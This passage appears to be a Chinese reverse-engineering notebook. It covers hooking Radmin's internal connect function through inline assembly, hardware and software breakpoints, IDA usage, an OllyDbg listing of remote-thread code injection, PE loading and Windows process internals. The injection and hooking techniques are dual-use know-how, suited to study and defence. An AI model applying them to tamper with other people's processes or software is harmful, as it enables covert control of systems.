(IDC_EDIT2)->GetWindowText (strUser); if (!strUser.GetLength ()) { this ->MessageBox ("请输入ID" ,"提示" ); return ; } char dwOpenPassWord[MAX_PATH+1 ]={0 }; CString strPassWord; GetDlgItem (IDC_EDIT3)->GetWindowText (strPassWord); if (!strPassWord.GetLength ()) { this ->MessageBox ("请输入PassWord" ,"提示" ); return ; } lstrcpyA (dwOpenUser,strUser.GetString ()); lstrcpyA (dwOpenPassWord,strPassWord.GetString ()); memset (this ->gIP_Buffer,0 ,MAX_PATH+1 ); memset (this ->gUser_Buffer,0 ,MAX_PATH+1 ); memset (this ->gPass_Buffer,0 ,MAX_PATH+1 ); lstrcpyA (this ->gIP_Buffer,dwOpenIP); lstrcpyA (this ->gUser_Buffer,dwOpenUser); lstrcpyA (this ->gPass_Buffer,dwOpenPassWord); CallConnectThread = AfxBeginThread (OnCallConnect, this ); return ; } BOOL helpHook::LoadIP (DWORD szID,char * szFilePath,char * szConnectIPAddress) { char dwDir[MAX_PATH+1 ] ={0 }; char data[MAX_PATH*4 ]={0 }; GetCurrentDirectoryA ( MAX_PATH+1 ,dwDir); lstrcatA (dwDir,szFilePath); if (lstrlenA (szConnectIPAddress)==0 || szID==0 ) { return FALSE; } HANDLE hFile=CreateFileA ( dwDir, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); if (hFile==INVALID_HANDLE_VALUE) { return FALSE; } DWORD size_low,size_high; size_low= GetFileSize (hFile,&size_high); if (size_low==0 ) { CloseHandle (hFile); return FALSE; } HANDLE hMapFile=CreateFileMappingA ( hFile, NULL , PAGE_READWRITE, size_high, size_low, NULL ); if (hMapFile==INVALID_HANDLE_VALUE) { CloseHandle (hMapFile); CloseHandle (hFile); return FALSE; } void * pvFile=MapViewOfFile ( hMapFile, FILE_MAP_READ|FILE_MAP_WRITE, 0 , 0 , 0 ); if (!pvFile) { if (pvFile!=NULL ) { UnmapViewOfFile (pvFile); } if (pvFile!=NULL ) { UnmapViewOfFile (pvFile); } if (hFile!=0 ) { CloseHandle (hFile); } return FALSE; } LPVOID pvBuffer=VirtualAlloc (NULL ,size_low,MEM_COMMIT,PAGE_READWRITE); if (pvBuffer!=NULL ) { memcpy ((char *)pvBuffer,(char *)pvFile,size_low); } memset ((char *)pvBuffer+0x13C0 ,0 ,0x190 ); wchar_t dwIP[MAX_PATH+1 ]={0 }; int len=MultiByteToWideChar (CP_ACP, 0 , szConnectIPAddress, -1 , NULL ,0 ); MultiByteToWideChar (CP_ACP, 0 , szConnectIPAddress, -1 , dwIP, len); wcscpy ((wchar_t *)((char *)pvBuffer+0x13C1 ),dwIP); wcscpy ((wchar_t *)((char *)pvBuffer+0x1489 ),dwIP); DWORD this_offset=(DWORD)pvBuffer+0x99 ; __try { __asm { pushad mov esi,0 mov eax,szID mov edi,this_offset push eax push edi mov ecx,esi mov eax,OpenCallAddr call eax popad } } __except(1 ) { } VirtualFree (pvBuffer,size_low,MEM_RELEASE); if (pvFile!=NULL ) { UnmapViewOfFile (pvFile); } if (pvFile!=NULL ) { UnmapViewOfFile (pvFile); } if (hFile!=0 ) { CloseHandle (hFile); } return TRUE; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 radmin 功能函数分析 使用PELoader动态加载方式,代码解密后运行在内存,OEP关键代码 03 55 94 89 55 A4 8B 45 A4 FF E0一:打开要连接的虚拟机平台 (1 :特征码) 8B B4 24 EC 7B 00 00 50 57 8 D 95 58 34 00 00 8B CE (2 :功能) 打开对话框CALL 01438544 8B B424 EC7B0000 mov esi,dword ptr ss:[esp+0x7BEC ]0143854B 50 push eax0143854 C 57 push edi0143854 D 8 D95 58340000 lea edx,dword ptr ss:[ebp+0x3458 ]01438553 8B CE mov ecx,esi01438555 E8 56690000 call 0143 EEB0调用例子: pushad mov esi,0x00BB0DE4 mov eax,0x9C49 mov edi,0x0093BB6C push eax push edi mov ecx,esi mov eax,0x0143EEB0 call eax popad (3 :参数分析) eax = 00009 C49 功能号 ecx=基址[uxtheme.dll+0x50C5C ] esi=C:\Users\fku\AppData\Roaming\Radmin\radmin.rpb 文件指针 对应代码 特征码:8B 6 C 24 6 C 8B 44 24 5 C 89 84 24 9 E 36 00 00 39 5 D 08 88 9 C 24 9 D 36 00 00 014157 A6 8B 6C24 6 C mov ebp,dword ptr ss:[esp+0x6C ]014157 AA 8B 4424 5 C mov eax,dword ptr ss:[esp+0x5C ]014157 AE 898424 9E360000 mov dword ptr ss:[esp+0x369E ],eax014157B 5 395 D 08 cmp dword ptr ss:[ebp+0x8 ],ebx014157B 8 889 C24 9 D360000 mov byte ptr ss:[esp+0x369D ],bl014157B F 75 11 jnz short 014157 D2014157 C1 8 D8C24 B01E0000 lea ecx,dword ptr ss:[esp+0x1EB0 ]014157 C8 51 push ecx014157 C9 8B CD mov ecx,ebp014157 CB E8 C03D0000 call 01419590 014157 D0 EB 46 jmp short 01415818 014157 D2 68 00180000 push 0x1800 014157 D7 E8 4F C70A00 call 014 C1F2B014157 DC 83 C4 04 add esp,0x4 014157 DF 3B C3 cmp eax,ebx014157E1 74 64 je short 01415847 014157E3 8 D9424 B01E0000 lea edx,dword ptr ss:[esp+0x1EB0 ]hook的位置: 0141581 C 8 D5424 54 lea edx,dword ptr ss:[esp+0x54 ]01415820 52 push edxhook后获取radmin.rpb buffer指针用来调CALL用。
# 硬件断点原理
Intel 80306 以上的 CPU 给我们提供了调试寄存器用于软件调试,硬件断点是通过设置调试寄存器实现的。
根据介绍,DR0-DR3 为设置断点的地址,DR4 和 DR5 为保留,
DR6 为调试异常产生后显示的一些信息,DR7 保存了断点是否启用、断点类型和长度等信息。
我们在使用硬件断点的时候,就是要设置调试寄存器,将断点的位置设置到 DR0-DR3 中,断点的长度设置到 DR7 的 LEN0-LEN3 中,将断点的类型设置到 DR7 的 RW0-RW3 中,将是否启用断点设置到 DR7 的 L0-L3 中。
设置硬件断点需要的 DR0-DR3 很简单,就是下断点的地址,DR7 寄存器很复杂,位段信息结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 实现硬件断点,首先要获取当前线程环境 CONTEXT g_Context = { 0 }; g_Context.ContextFlags = CONTEXT_CONTROL; GetThreadContext (hThread, &g_Context);在CONTEXT结构体中,存放了诸多当前线程环境的信息,以下是从winnt.h文件中找到的CONTEXT结构体 typedef struct _CONTEXT { DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT; 从CONTEXT结构体中我们可以看到存放了调试寄存器 Dr0-Dr3和Dr6、Dr7,通过设置这些寄存器我们可以实现硬件断点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void SetHardBP (DWORD addr, BreakPointHard type, BreakPointLen len) { DBG_REG7 *pDr7 = (DBG_REG7 *)&g_Context.Dr7; if (len == 1 ) { addr = addr - addr % 2 ; } else if (len == 3 ) { addr = addr - addr % 4 ; } if (pDr7->L0 == 0 ) { g_Context.Dr0 = addr; pDr7->RW0 = type; pDr7->LEN0 = len; pDr7->L0 = 1 ; } else if (pDr7->L1 == 0 ) { g_Context.Dr1 = addr; pDr7->RW1 = type; pDr7->LEN1 = len; pDr7->L1 = 1 ; } else if (pDr7->L2 == 0 ) { g_Context.Dr2 = addr; pDr7->RW2 = type; pDr7->LEN2 = len; pDr7->L2 = 1 ; } else if (pDr7->L3 == 0 ) { g_Context.Dr3 = addr; pDr7->RW3 = type; pDr7->LEN3 = len; pDr7->L3 = 1 ; } } SetThreadContext (hThread, &g_Context);
# 软件断点
int 3
设置断点命令对应的汇编指令为 INT3,对应的机器指令的也就是 0xCC。CPU 运行代码的过程中若遇到汇编指令 INT3,则会触发 EXCEPTION_BREAKPOINT 异常。
由于 Ollydbg 中按 F2 设置的断点是用户用来调试的临时断点(User Temporary Break Point),所以不需要在调试画面中显示。在代码与内存中显示出来的话,大大降低了代码的可读性,给代码调试带来不便。换言之,实际进程内存中 0x1003E21 的 “6A” 已经换成 “CC”,但为了调试方便,所以呢,OD 就没有显示出来。我们只需要把这个程序 dump 出来,然后放进 Hex_Editor 查看一下这个位置的数据即可。
它会先把下断点的位置的前一句代码改成 int 3 然后 等到运行到这里时,再把它改回来
这个问题解释是这样的:先,调试器把断点处的第一个字节改成 0XCC,当接收到继续运行的消息时,调试器会先把这个 int 3 断点修复成原来的字节,然后会执行 eip-1 这个操作,把 int 3 改掉的代码继续执行,有 eip-1 的话,那么就很正常了
调试 DR0-DR3 寄存器原理
调试寄存器 DR0-DR3
这四个寄存器是用来设置 断点地址的。断点的比对在物理地址转换前(异常产生时,还没有将线性地址转换成物理地址)。由于只有 0-3 四个保存地址的寄存器,所以,硬件断点,在物理上最多只能有 4 个。
调试寄存器 DR4-DR5
这两个调试寄存器有 CR4 的 DE 标记控制。如果 DE 置位,那么对这两个寄存器的访问会导致 #UD 异常。如果 DE 置 0,那么他们就被化名为 DR6-DR7(你一定会问原来的 DR6-DR7 怎么办?这个…… 我也不知道。如果你搞明白了,一定记得告诉我)
调试寄存器 DR7 (控制寄存器)
(先介绍 DR7 对 DR6 的理解有好处。)
DR7 是调试控制寄存器。控制方式嘛!:
\1. L0-L3(由第 0,2,4,6 位控制): 对应 DR0-DR3,设置断点作用范围,如果被置位,那么将只对当前任务有效。每次异常后,Lx 都被清零。
\2. G0-G3(由第 1,3,5,7 位控制):对应 DR0-DR3, 如果置位,那么所有的任务都有效。每次异常后不会被清零。以确保对所有任务有效。但是,不知道为什么,我在测试时:
设置 Gn 后,不能返回调试异常给调试器(如果你知道为什么,记得告诉我)
\3. LE,GE(由第 8,9 位控制): 这个在 P6 以下系列 CPU 上不被支持,在升级版的系列里面:如果被置位,那么 cpu 将会追踪精确的数据断点。LE 是局部的,GE 是全局的。(到底什么算精确的,我也不清楚,但是,我知道如果设置了这两个,cpu 的速度会降低。我在测试中,都没有置位。)
\4. GD (由第 13 位控制): 如果置位,追踪下一条指令是否会访问调试寄存器。如果是,产生异常。在下面的 DR6 里面,你会知道他还和另外一个标志位有点关系。
\5. R/W0-R/W3:(由第 16,17,20,21,24,25,28,29 位控制):这个东西的处理有两种情况。
# IDA
# 目录结构
在 IDA 的安装根目录下有许多文件夹,各个文件夹存储不同的内容
cfg:包含各种配置文件,基本 IDA 配置文件 ida.cfg,GUI 配置文件 idagui.cfg,文本模式用户界面配置文件 idatui.cfg,
idc:包含 IDA 内置脚本语言 IDC 所需要的核心文件
ids:包含一些符号文件
loaders:包含用于识别和解析 PE 或者 ELF
plugins:附加的插件模块
procs:包含处理器模块
# 快捷键
IDA 中的快捷键都是和菜单栏的各个功能选项一一对应的,基本上你只要能在菜单栏上找到某个功能,也就能看到相应的快捷键,这里记录几个常用的:
a:将数据转换为字符串
f5:一键反汇编
esc:回退键,能够倒回上一部操作的视图(只有在反汇编窗口才是这个作用,如果是在其他窗口按下 esc,会关闭该窗口)
shift+f12:可以打开 string 窗口,一键找出所有的字符串,右击 setup,还能对窗口的属性进行设置
ctrl+w:保存 ida 数据库
ctrl+s:选择某个数据段,直接进行跳转
ctrl + 鼠标滚轮:能够调节流程视图的大小
x:对着某个函数、变量按该快捷键,可以查看它的交叉引用
g:直接跳转到某个地址
n:更改变量的名称
y:更改变量的类型
/ :在反编译后伪代码的界面中写下注释
\:在反编译后伪代码的界面中隐藏 / 显示变量和函数的类型描述,有时候变量特别多的时候隐藏掉类型描述看起来会轻松很多
;:在反汇编后的界面中写下注释
ctrl+shift+w:拍摄 IDA 快照
u:undefine,取消定义函数、代码、数据的定义
调试:根据需要调试的类型,选择对应的调试器,F9 使程序运行
g OpenProcess
查看交叉引用
F2 下断
# 伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 0040755 A |> \8B 86 FC030000 mov eax,dword ptr ds:[esi+0x3FC ]00407560 |. 3B C3 cmp eax,ebx00407562 |. 74 0 D je short 00407571 00407564 |. 50 push eax ; /hObject00407565 |. FF15 74204100 call dword ptr ds:[<&KERNEL32.CloseHa>; \CloseHandle0040756B |. 899 E FC030000 mov dword ptr ds:[esi+0x3FC ],ebx00407571 |> 8B 8E F8030000 mov ecx,dword ptr ds:[esi+0x3F8 ]00407577 |. 6 A 40 push 0x40 ; /flProtect = 40 (64. )00407579 |. 68 00100000 push 0x1000 ; |flAllocationType = 1000 (4096. )0040757 E |. 57 push edi ; |dwSize0040757F |. 53 push ebx ; |lpAddress00407580 |. 51 push ecx ; |hProcess00407581 |. 895 D FC mov [local.1 ],ebx ; |00407584 |. FF15 84204100 call dword ptr ds:[<&KERNEL32.Virtual>; \VirtualAllocEx0040758 A |. 3B C3 cmp eax,ebx0040758 C |. 8986 EC030000 mov dword ptr ds:[esi+0x3EC ],eax00407592 |. 75 09 jnz short 0040759 D00407594 |. 53 push ebx00407595 |. 53 push ebx00407596 |. 68 E4AA4100 push 0041 AAE4 ; ASCII "在目标进程申请代码空间失败!" 0040759B |.^ EB A7 jmp short 00407544 0040759 D |> 8B CE mov ecx,esi0040759F |. E8 4 CFDFFFF call 004072F 0004075 A4 |. 3 AC3 cmp al,bl004075 A6 |. 75 2 C jnz short 004075 D4004075 A8 |. 8B 96 EC030000 mov edx,dword ptr ds:[esi+0x3EC ]004075 AE |. 8B 86 F8030000 mov eax,dword ptr ds:[esi+0x3F8 ]004075B 4 |. 68 00800000 push 0x8000 ; /dwFreeType = 8000 (32768. )004075B 9 |. 53 push ebx ; |dwSize004075B A |. 52 push edx ; |lpAddress004075B B |. 50 push eax ; |hProcess004075B C |. FF15 80204100 call dword ptr ds:[<&KERNEL32.Virtual>; \VirtualFreeEx004075 C2 |. 53 push ebx004075 C3 |. 53 push ebx004075 C4 |. 899 E EC030000 mov dword ptr ds:[esi+0x3EC ],ebx004075 CA |. 68 C8AA4100 push 0041 AAC8 ; ASCII "在目标进程写入代码失败!" 004075 CF |.^ E9 70F FFFFF jmp 00407544 004075 D4 |> 8B 8E EC030000 mov ecx,dword ptr ds:[esi+0x3EC ]004075 DA |. 8B 96 F8030000 mov edx,dword ptr ds:[esi+0x3F8 ]004075E0 |. 53 push ebx ; /lpThreadId004075E1 |. 53 push ebx ; |dwCreationFlags004075E2 |. 53 push ebx ; |lpParameter004075E3 |. 51 push ecx ; |lpStartAddress004075E4 |. 53 push ebx ; |dwStackSize004075E5 |. 53 push ebx ; |lpThreadAttributes004075E6 |. 52 push edx ; |hProcess004075E7 |. FF15 50204100 call dword ptr ds:[<&KERNEL32.CreateR>; \CreateRemoteThread004075 ED |. 3B C3 cmp eax,ebx004075 EF |. 8986 FC030000 mov dword ptr ds:[esi+0x3FC ],eax004075F 5 |. 75 2 C jnz short 00407623 004075F 7 |. 8B 86 EC030000 mov eax,dword ptr ds:[esi+0x3EC ]004075F D |. 8B 8E F8030000 mov ecx,dword ptr ds:[esi+0x3F8 ]00407603 |. 68 00800000 push 0x8000 ; /dwFreeType = 8000 (32768. )00407608 |. 53 push ebx ; |dwSize00407609 |. 50 push eax ; |lpAddress0040760 A |. 51 push ecx ; |hProcess0040760B |. FF15 80204100 call dword ptr ds:[<&KERNEL32.Virtual>; \VirtualFreeEx00407611 |. 53 push ebx00407612 |. 53 push ebx00407613 |. 899 E EC030000 mov dword ptr ds:[esi+0x3EC ],ebx00407619 |. 68 ACAA4100 push 0041 AAAC ; ASCII "在目标进程创建线程失败!" 0040761 E |.^ E9 21F FFFFF jmp 00407544 00407623 |> 8B 96 EC030000 mov edx,dword ptr ds:[esi+0x3EC ]00407629 |. 8 D86 E0000000 lea eax,dword ptr ds:[esi+0xE0 ]0040762F |. 52 push edx00407630 |. 68 A8AA4100 push 0041 AAA8 ; ASCII "%p" 00407635 |. 50 push eax00407636 |. C745 FC FFFFF>mov [local.1 ],-0x1 0040763 D |. E8 04930000 call <jmp.&MFC42.#2818 >00407642 |. 83 C4 0 C add esp,0xC 00407645 |. 8B CE mov ecx,esi00407647 |. 53 push ebx00407648 |. E8 3B 930000 call <jmp.&MFC42.#6334 >0040764 D |. 8B 4D F4 mov ecx,[local.3 ]00407650 |. 5F pop edi00407651 |. 5 E pop esi00407652 |. 64 :890 D 00000 >mov dword ptr fs:[0 ],ecx00407659 |. 5B pop ebx0040765 A |. 8B E5 mov esp,ebp0040765 C |. 5 D pop ebp0040765 D \. C3 retn char __stdcall sub_40CFB0 (HANDLE TokenHandle) { HANDLE v1; int v2; HANDLE v3; HANDLE v4; DWORD cbNeeded; HMODULE hModule; v1 = TokenHandle; if ( !TokenHandle ) return 0 ; v2 = (int )((char *)TokenHandle + 264 ); *((_BYTE *)TokenHandle + 264 ) = 0 ; cbNeeded = 0 ; v3 = GetCurrentProcess (); OpenProcessToken (v3, 0x20 u, &TokenHandle); sub_40DA50 (TokenHandle, Name); CloseHandle (TokenHandle); v4 = OpenProcess (0x1F0FFF u, 0 , *(_DWORD *)v1); if ( !v4 ) { v4 = OpenProcess (0x100430 u, 1 , *(_DWORD *)v1); if ( !v4 ) { CloseHandle (0 ); return 0 ; } } if ( !EnumProcessModules (v4, &hModule, 4u , &cbNeeded) || !cbNeeded ) { CloseHandle (v4); return 0 ; } GetModuleFileNameExA (v4, hModule, (LPSTR)v1 + 264 , 0x104 u); if ( *((_BYTE *)v1 + 265 ) != 58 ) sub_40D0B0 ((LPCSTR)v1 + 4 , v2); CloseHandle (v4); return 1 ; }
# 远程调试
将对应内核的程序传到要调试的程序的文件夹中
路径不需要写盘符
IDS 通过 recv_from ,连接服务器远程调试
# PE
PE 即 Portable Executable,是 Windows OS 下使用的可执行文件格式。PE 文件是指 32 位的可执行文件,亦称为 PE32。64 位的可执行文件称为 PE + 或 PE32+,是 PE 文件的一种扩展形式。
PE 文件加载流程:要执行 PE 文件,需要先将文件从磁盘以一定的规则加载到内存中,PE 文件加载到内存中的情形如图所示
编译器可以决定基址和 oep
其中,从 DOS 头(DOS header)到节区头(Section header)是 PE 头部分,其下的节区合称 PE 体
VA 指的是进程虚拟内存的绝对地址,RVA ( Relative Virtual Address, 相对虚拟地址)指从某个基准位置( ImageBase )开始的相对地址。 VA 与 RVA 满足下面的换算关系。
RVA+ImageBase=VA
什么是 DLL
16 位的 DOS 时代不存在 DLL(Dynamic Linked Library)这一概念,只有 “库”(Library)一说。比如在 C 语言中使用 printf () 函数时,编译器会先从 C 库中读取相应函数的二进制代码,然后插入到应用程序。Windows OS 支持多任务,若仍采用这种包含库的方式,会非常没有效率。于是 Windows OS 的设计者们根据需要引入了 DLL 这一概念。
加载 DLL 的方式有两种:
显示链接:程序使用 DLL 时加载,使用完毕后释放内存;
隐式链接:程序开始时即加载 DLL,程序终止时再释放占用的内存。
上面提到了 DLL,在各种不同版本的 Windows 系统中,DLL 的版本各不相同,同一函数在不同版本 DLL 中的位置也可能不同;另外一个原因在于 DLL 的重定位,DLL 文件的 ImageBase 值一般为 10000000,但当两个 DLL 尝试装载到同一个地址时会发生冲突,因此有一个 DLL 得寻找另一个地址装载,这就是所谓的 DLL 重定位。
因此当我们要调用某个 DLL 中的函数时,需要借助 IAT (Import Address Table,导入地址表)作为中间桥梁。PE 文件在装载时由 PE 装载器将导入函数的真实地址写入到 IAT 时,函数调用时则需要从 IAT 中获取函数的真实地址。
IAT 提供的机制与 DLL 的隐式链接有关。
1 2 3 4 5 6 7 8 9 10 #include <cstdio> #include <cstring> int main () { char input[100 ] = { 0 }; scanf_s ("%s" , input); if (!strcmp (input, "password" )) { printf ("Right.\n" ); } }
# 导出表
导出表是 PE 文件为其他应用程序提供自身的一些变量、函数以及类,将其导出给第三方程序使用的一张清单,里面包含了可以导出的元素。
从逻辑上来说,导出表由名称表、函数表与序号表组成。函数表和序号表必不可少,名称表则是可选的。序号表与名称表的作用是索引,找到真正需要的函数表,函数表中保存着被导出的函数的地址信息。
# 基址重定位节原理
当向程序的虚拟内存加载 PE 文件时,文件会被加载到 ImageBase 所指向的地址。
ImageBase 就是前面讲到的 PE 拓展头中的一个成员:
1 2 3 4 5 6 7 8 9 从逆向角度看PELoader加载器 读取磁盘文件到内存 根据PE结构获取镜像大小,在自己的程序中申请可读可写可执行的内存。 将申请的空间全部填为0 修复函数重定位 根据PE结构的导入表,加载所需的dll,并获取导入函数的地址并写入导入表中 修改PE文件的加载基址 跳转到PE的入口点处执行
# Windows 系统安全
进程句柄表
# 系统进程
Winlogon 是一个登录 / 退出进程。winlogon 在用户按下 CTRL+ALT+DEL 时激活,并显示安全对话框。该进程提供了登录所需的类型控制和输入口令所需的对话框。当你输入用户名和口令时,Winlogon 将其发送给一个叫做 LSASS 的子进程。如果你执行对服务器或工作站的本地登录,LSASS 进程将在安全数据库(亦即 SAM)中查对有关用户名和口令。Winlogon 有两个子进程,即服务控制器和 LSASS。
Explorer 进程 在 Windows 系列的操作系统中,运行时都会启动一个名为 Explorer.exe 的进程。这个进程主要负责显示系统桌面上的图标以及任务栏。
csrss.exe 进程 这个进程是用户模式 Win32 子系统的一部分,CSRSS 代表客户 / 服务器运行子系统而且是一个基本的子系统必须一直运行。CSRSS 负责控制 Windows 图形相关子系统,创建或者删除线程和一些 16 位的虚拟 MS-DOS 环境。
System Idle 这个进程不可以从任务管理器中关掉,是作为单线程运行在每个处理器上,并在系统不处理其他线程的时候分派处理器的时间。所以,在任务管理器中,看到的 “System Idle Process” 的 CPU 资源占用恰恰是 CPU 资源空闲时间。
smss.exe 这个进程是不可以从任务管理器中关掉的,是一个会话管理子系统,负责启动用户会话。这个进程是通过系统进程初始化,并且对许多活动,包括正在运行的 Winlogon,Win32(Csrss.exe)线程和设定的系统变量作出反映。在它启动这些进程后,它等待 Winlogon 或者 Csrss 结束。如果这些过程是正常的,系统就关掉了。如果发生了什么不可预料的事情,smss.exe 就会让系统停止响应(就是挂起)。
lsass.exe 这个进程是不可以从任务管理器中关掉的。管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。 这是一个本地的安全授权服务,它会为使用 winlogon 服务的授权用户生成一个进程。这个进程是通过使用授权的包,例如默认的 msgina.dll 来执行。如果授权是成功的,lsass 就会产生用户的进入令牌,令牌被用于启动初始的 shell,其他由用户初始化的进程也会继承这个令牌(系统服务)。
services.exe 大多数的系统核心模式进程是作为系统进程在运行。
缓冲(spooler)服务是管理缓冲池中的打印和传真作业,将文件加载到内存中以便迟后打印(系统服务)。
System Idle Process 这个进程在系统不 处理其它线程的时 候分派处理器的时间。
DLL 再注入时必须要有 DLLENTRYPoint
# 进程对象
对于进程来说,首先要说的数据结构是 EPROCESS(执行体进程块),它在执行体内表示一个进程对象。 我们可以通过内核调试器看看这个数据结构在 WRK 中的样子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 kd> ?? sizeof(EPROCESS) unsigned int 0x278 kd> dt _EPROCESS nt!EPROCESS +0x000 Pcb : _KPROCESS +0x078 ProcessLock : _EX_PUSH_LOCK +0x080 CreateTime : _LARGE_INTEGER +0x088 ExitTime : _LARGE_INTEGER +0x090 RundownProtect : _EX_RUNDOWN_REF +0x094 UniqueProcessId : Ptr32 Void +0x098 ActiveProcessLinks : _LIST_ENTRY +0x0a0 QuotaUsage : [3] Uint4B +0x0ac QuotaPeak : [3] Uint4B +0x0b8 CommitCharge : Uint4B +0x0bc PeakVirtualSize : Uint4B +0x0c0 VirtualSize : Uint4B +0x0c4 SessionProcessLinks : _LIST_ENTRY +0x0cc DebugPort : Ptr32 Void +0x0d0 ExceptionPort : Ptr32 Void +0x0d4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0d8 Token : _EX_FAST_REF +0x0dc WorkingSetPage : Uint4B +0x0e0 AddressCreationLock : _KGUARDED_MUTEX +0x100 HyperSpaceLock : Uint4B +0x104 ForkInProgress : Ptr32 _ETHREAD +0x108 HardwareTrigger : Uint4B +0x10c PhysicalVadRoot : Ptr32 _MM_AVL_TABLE +0x110 CloneRoot : Ptr32 Void +0x114 NumberOfPrivatePages : Uint4B +0x118 NumberOfLockedPages : Uint4B +0x11c Win32Process : Ptr32 Void +0x120 Job : Ptr32 _EJOB +0x124 SectionObject : Ptr32 Void +0x128 SectionBaseAddress : Ptr32 Void +0x12c QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK +0x130 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY +0x134 Win32WindowStation : Ptr32 Void +0x138 InheritedFromUniqueProcessId : Ptr32 Void +0x13c LdtInformation : Ptr32 Void +0x140 VadFreeHint : Ptr32 Void +0x144 VdmObjects : Ptr32 Void +0x148 DeviceMap : Ptr32 Void +0x14c Spare0 : [3] Ptr32 Void +0x158 PageDirectoryPte : _HARDWARE_PTE_X86 +0x158 Filler : Uint8B +0x160 Session : Ptr32 Void +0x164 ImageFileName : [16] UChar +0x174 JobLinks : _LIST_ENTRY +0x17c LockedPagesList : Ptr32 Void +0x180 ThreadListHead : _LIST_ENTRY +0x188 SecurityPort : Ptr32 Void +0x18c PaeTop : Ptr32 Void +0x190 ActiveThreads : Uint4B +0x194 GrantedAccess : Uint4B +0x198 DefaultHardErrorProcessing : Uint4B +0x19c LastThreadExitStatus : Int4B +0x1a0 Peb : Ptr32 _PEB +0x1a4 PrefetchTrace : _EX_FAST_REF +0x1a8 ReadOperationCount : _LARGE_INTEGER +0x1b0 WriteOperationCount : _LARGE_INTEGER +0x1b8 OtherOperationCount : _LARGE_INTEGER +0x1c0 ReadTransferCount : _LARGE_INTEGER +0x1c8 WriteTransferCount : _LARGE_INTEGER +0x1d0 OtherTransferCount : _LARGE_INTEGER +0x1d8 CommitChargeLimit : Uint4B +0x1dc CommitChargePeak : Uint4B +0x1e0 AweInfo : Ptr32 Void +0x1e4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO +0x1e8 Vm : _MMSUPPORT +0x230 MmProcessLinks : _LIST_ENTRY +0x238 ModifiedPageCount : Uint4B +0x23c JobStatus : Uint4B +0x240 Flags : Uint4B +0x240 CreateReported : Pos 0, 1 Bit +0x240 NoDebugInherit : Pos 1, 1 Bit +0x240 ProcessExiting : Pos 2, 1 Bit +0x240 ProcessDelete : Pos 3, 1 Bit +0x240 Wow64SplitPages : Pos 4, 1 Bit +0x240 VmDeleted : Pos 5, 1 Bit +0x240 OutswapEnabled : Pos 6, 1 Bit +0x240 Outswapped : Pos 7, 1 Bit +0x240 ForkFailed : Pos 8, 1 Bit +0x240 Wow64VaSpace4Gb : Pos 9, 1 Bit +0x240 AddressSpaceInitialized : Pos 10, 2 Bits +0x240 SetTimerResolution : Pos 12, 1 Bit +0x240 BreakOnTermination : Pos 13, 1 Bit +0x240 SessionCreationUnderway : Pos 14, 1 Bit +0x240 WriteWatch : Pos 15, 1 Bit +0x240 ProcessInSession : Pos 16, 1 Bit +0x240 OverrideAddressSpace : Pos 17, 1 Bit +0x240 HasAddressSpace : Pos 18, 1 Bit +0x240 LaunchPrefetched : Pos 19, 1 Bit +0x240 InjectInpageErrors : Pos 20, 1 Bit +0x240 VmTopDown : Pos 21, 1 Bit +0x240 ImageNotifyDone : Pos 22, 1 Bit +0x240 PdeUpdateNeeded : Pos 23, 1 Bit +0x240 VdmAllowed : Pos 24, 1 Bit +0x240 SmapAllowed : Pos 25, 1 Bit +0x240 CreateFailed : Pos 26, 1 Bit +0x240 DefaultIoPriority : Pos 27, 3 Bits +0x240 Spare1 : Pos 30, 1 Bit +0x240 Spare2 : Pos 31, 